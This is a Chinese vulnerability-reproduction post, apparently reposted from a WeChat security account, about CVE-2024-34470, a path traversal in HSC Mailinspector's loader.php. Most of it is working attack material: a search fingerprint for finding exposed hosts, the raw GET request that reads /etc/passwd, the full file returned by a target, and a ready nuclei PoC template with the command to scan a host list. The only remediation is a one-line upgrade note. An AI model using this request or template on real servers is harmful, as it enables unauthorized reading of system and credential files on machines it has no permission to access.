HSC Mailinspector 5.2.17-3到5.2.18版本
HSC Mailinspector是一个电子邮件检查工具 ,在HSC Mailinspector 5.2.17-3到5.2.18版本中发现了一个问题。public/loader.php文件中存在一个未经身份验证的路径遍历漏洞。path参数无法正确筛选传递的文件和目录是否为webroot的一部分,从而使攻击者能够读取服务器上的任意文件。
body="mailinspector/public"
向靶场发送如下数据包
GET /mailinspector/public/loader.php?path=../../../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
响应内容如下
HTTP/1.1 200 OK
Connection: close
Content-Length: 2299
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: text/html; charset=utf-8
Date: Tue, 04 Jun 2024 02:35:59 GMT
Expires: 0
Last-Modified: Tue, 04 Jun 2024 02:35:59 GMT
Pragma: no-cache
Server: Apache
Set-Cookie: PHPSESSID=6nhso8qu3vegqmridckcd39910; path=/;HttpOnly;Secure
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
distcache:x:94:94:Distcache:/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
memcached:x:101:102:Memcached daemon:/var/run/memcached:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
clam:x:102:103:Clam Anti Virus Checker:/var/lib/clamav:/sbin/nologin
fsaua:x:500:500::/var/opt/f-secure/fsaua/fsaua:/sbin/nologin
esets:x:103:104::/home/esets:/bin/false
hacluster:x:498:496::/var/lib/heartbeat/cores/hacluster:/bin/bash
haproxy:x:188:188::/var/lib/haproxy:/sbin/nologin
mysql:x:499:497:MySQL server:/var/lib/mysql:/bin/bash
opendkim:x:15:498:OpenDKIM Milter:/var/run/opendkim:/sbin/nologin
sqlgrey:x:501:501::/var/sqlgrey:/bin/true
admin:x:502:502::/home/admin:/opt/hsc/appliance/bin/shell.sh
opendmarc:x:16:499:OpenDMARC Milter:/var/run/opendmarc:/sbin/nologin
postfix:x:17:16::/var/spool/postfix:/bin/true
suportehsc:x:0:0::/home/suportehsc:/bin/bash
redis:x:18:17:Redis Server:/usr/com/redis:/sbin/nologin
漏洞复现成功
get请求可以使用浏览器访问
参考
https://github.com/osvaldotenorio/CVE-2024-34470
poc文件内容如下
id: CVE-2024-34470
info:
name: HSC Mailinspector loader.php 任意文件读取漏洞
author: fgz
severity: high
description: HSC Mailinspector是一个电子邮件检查工具 ,在HSC Mailinspector 5.2.17-3到5.2.18版本中发现了一个问题。public/loader.php文件中存在一个未经身份验证的路径遍历漏洞。path参数无法正确筛选传递的文件和目录是否为webroot的一部分,从而使攻击者能够读取服务器上的任意文件。
metadata:
1 :
body="mailinspector/public" :
verified: true
requests:
raw:
|+
GET /mailinspector/public/loader.php?path=../../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 :
gzip, deflate :
Accept: */*
Connection: keep-alive
matchers:
type: dsl
dsl:
"status_code == 200 && contains(body, 'root:')"
运行POC
nuclei.exe -t mypoc/cve/CVE-2024-34470.yaml -l 1.txt
升级到最新版本。
原文始发于微信公众号(AI与网安):CVE-2024-34470漏洞复现
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